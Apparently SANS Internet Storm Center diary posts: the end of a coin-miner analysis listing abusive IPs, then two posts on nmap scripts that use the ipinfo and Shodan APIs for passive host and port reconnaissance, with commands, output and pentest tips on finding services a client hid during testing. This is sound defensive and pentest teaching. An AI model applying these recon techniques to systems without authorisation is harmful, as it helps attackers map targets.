
Conclusion

This analysis stuck out for a few reasons. One was the sheer number of file submissions, totaling over 400+ separate submissions over the course of about 4 months. Another was how all these submissions came from only 2 IP’s in roughly the same geographic area. These combine to show insight into more modern variants of coin miner malware, and the threat actors spreading this malware.

[1] https://www.virustotal.com/gui/ip-address/193.222.96.163 (23/90 VT score)
[2] https://isc.sans.edu/ipinfo/193.222.96.163 (5/10 risk score)
[3] https://www.abuseipdb.com/check/193.222.96.163 (100% confidence of abuse)
[4] https://www.virustotal.com/gui/ip-address/45.95.147.236 (17/91 VT score)
[5] https://isc.sans.edu/ipinfo/45.95.147.236 (0/10 risk score)
[6] https://www.abuseipdb.com/check/45.95.147.236 (100% confidence of abuse)
[7] “Hash Info.csv” – Sheet of all file submissions w/ info (attached)
[8] “Attack Observation #5.pdf” – AO where initial analysis of primary IP was done (attached)
[9] https://github.com/bruneaug/DShield-SIEM (provided visualizations)
[10] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

NMAP Scanning without Scanning (Part 2) - The ipinfo API, (Wed, May 22nd)

Going back a year or so, I wrote a story on the passive recon, specifically the IPINFO API (https://isc.sans.edu/diary/28596).  This API returns various information on an IP address: the registered owning organization and ASN, and a (usually reasonably accurate) approximation of where that IP might reside.
Looking at yesterday's story, I thought to myself, why not port my script from last year to an NMAP NSE script?  So I did!

Using the shodan-api nmap script as a template, I updated the following lines:

The actual API call of course is different:
  local response = http.get("ipinfo.io", 443, "/".. target .."/json?token=" .. registry.apiKey, {any_af = true})

This was a simple change, since the API key is still represented a a parameter in the URI this was just plug-n-play.

Also, because of differing return formats, in that same function I removed all the error checking of the returned values and replaced it with a simple return:
  return response.body

Note that there is a line
-- local apikey =""
If you want to embed your own API key into this script, remove the "--" (comment characters) and put your key in that line.

As with the Shodan script, you can tack IPINFO on to an existing active scan, or you can run it passively wiuth "-sn -Pn -n" as:

nmap -Pn -sn -n -P 8.8.8.8 --script ipinfo.nse --script-args "ipinfo.apikey=<your apikey goes here>"
Starting Nmap 7.92 ( https://nmap.org ) at 2024-05-21 11:34 Eastern Daylight Time
Nmap scan report for 8.8.8.8
Host is up.

Host script results:
| ipinfo: {
|   "ip": "8.8.8.8",
|   "hostname": "dns.google",
|   "anycast": true,
|   "city": "Mountain View",
|   "region": "California",
|   "country": "US",
|   "loc": "37.4056,-122.0775",
|   "org": "AS15169 Google LLC",
|   "postal": "94043",
|   "timezone": "America/Los_Angeles"
|_}

Post-scan script results:
|_ipinfo: IPInfo done: 0 hosts up.
Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds

Simple as that!  Now I can return host ownership and location info with my nmap scans, or if I'm in a hurry, instead of the normal nmap scan!  This information can be pretty handy when analyzing potential attacks, for instance looking at a failed authentication to see if the geography matches where that person could conceivably be - you only have to go back a few days for my post on VPN credential stuffing attacks for an example of this.

I've got one more of these APIs in the hopper - if you have another recon API you'd like to see in an nmap script, by all means let me know in our comment form!

All of my recon scripts (both the command-line and the nmap scripts) are posted in my github: https://github.com/robvandenbrink/recon_scripts

===============
Rob VandenBrink
rob@coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Scanning without Scanning with NMAP (APIs FTW), (Tue, May 21st)

A year ago I wrote up using Shodan's API to collect info on open ports and services without actually scanning for them (Shodan's API for the (Recon) Win!).  This past week I was trolling through the NMAP scripts directory, and imagine my surprise when I stumbled on shodan-api.nse.
So the network scanner we all use daily can be used to scan without actually scanning?  Apparently yes!

First the syntax:
nmap <target> --script shodan-api --script-args 'shodan-api.apikey=SHODANAPIKEY'
(note: use double quotes for script-args if you are doing this in Windows)

This still does a basic scan of the target host though.  To do this without scanning, without even sending any packets to your host, add:

-sn do a ping scan (ie we're not doing a port scan)
-Pn Don't ping the host, just assume that it's online

Neat trick there eh?  This essentially tells nmap to do nothing for each host in the target list, but don't forget that script we asked you to run!

This also has the advantage of doing the "scan" even if the host is down (or doesn't return on a ping)

Plus, just to be complete:
-n  Don't even do DNS resolution
This way NMAP isn't sending anything to the host or even to hosts under the client's control (for instance if they happen to host their own DNS).

If you're doing a whole subnet, or the output is large enough to scroll past your buffer, or if you want much (much) more useful output, add this to your script-args clause:
shodan-api.outfile=outputfile.csv

Let's put this all together:

nmap -sn -Pn -n www.cisco.com --script shodan-api --script-args "shodan-api.outfile=out.csv,shodan-api.apikey=<my-api-key-not-yours>"
Starting Nmap 7.92 ( https://nmap.org ) at 2024-05-17 09:53 Eastern Daylight Time
Nmap scan report for www.cisco.com (184.26.152.97)
Host is up.

Host script results:
| shodan-api: Report for 184.26.152.97 (www.static-cisco.com, www.cisco.com, www.mediafiles-cisco.com, www-cloud-cdn.cisco.com, a184-26-152-97.deploy.static.akamaitechnologies.com)
| PORT  PROTO  PRODUCT      VERSION
| 80    tcp    AkamaiGHost
|_443   tcp    AkamaiGHost

Post-scan script results:
| shodan-api: Shodan done: 1 hosts up.
|_Wrote Shodan output to: out.csv
Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds

Neat eh?  It collects the product and version info (when it can get it).  The CSV file looks like this:

IP,Port,Proto,Product,Version
184.26.152.97,80,tcp,AkamaiGHost,
184.26.152.97,443,tcp,AkamaiGHost,

This file format is a direct import into a usable format in powershell, python or just about any tool you might desire, even Excel :-)

Looking at a more "challenging" scan target:

nmap -sn -Pn -n isc.sans.edu --script shodan-api --script-args "shodan-api.outfile=out.csv,shodan-api.apikey=<my-api-key-not-yours>"

IP,Port,Proto,Product,Version
45.60.103.34,25,tcp,,
45.60.103.34,43,tcp,,
45.60.103.34,53,tcp,,
45.60.103.34,53,udp,,
.. and so on.

Look at line 4!  If you've ever done a UDP scan, you know that it can take for-e-ver!  Since this is just an api call, it collects both tcp and udp info from Shodan.

How many ports are in the output?
type out.csv | wc -l
    160

159 ports, that's how many! (subtract one for the header line)  This would have taken a while with a regular port scan, but with a shodan query it finishes in how long?

Post-scan script results:
| shodan-api: Shodan done: 1 hosts up.
|_Wrote Shodan output to: out.csv
Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds

Yup, 1.2 seconds!

This script is a great addition to nmap, it allows you to do a quick and dirty scan for what ports and services have been available recently, with a bit of rudimentary info attached.

Did you catch that last hint?  If you're doing a pentest, it's well worth digging into that word "recently".  Looking at ports that are in the shodan list, but aren't in a real portscan (that you'd get from nmap -sT or -sU) can be very interesting.  These are services that the client has recently disabled, maybe just for the duration  of the pentest.  For instance, that FTP server or totally vulnerable web or application server that they have open "only when they need it" (translation: always, except for during the annual pentest).  If you can pull a diff report between what's in the shodan output and what's actually there now, that's well worth looking into, say for instance using archive.org.  If you do find something good, my bet is that it falls into your scope!  If not, you should update your scope to "services found during the test in the target IP ranges or DNS scopes" or similar.  You don't want something like this excluded simply because it's (kinda) not there during the actual assessment :-)

Got another API you'd like to see used in NMAP?  Please use our comment form.  Stay tuned I have a list, but if you've got one I haven't thought of I'm happy to add anohter one!

===============
Rob VandenBrink
rob<at>coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
❌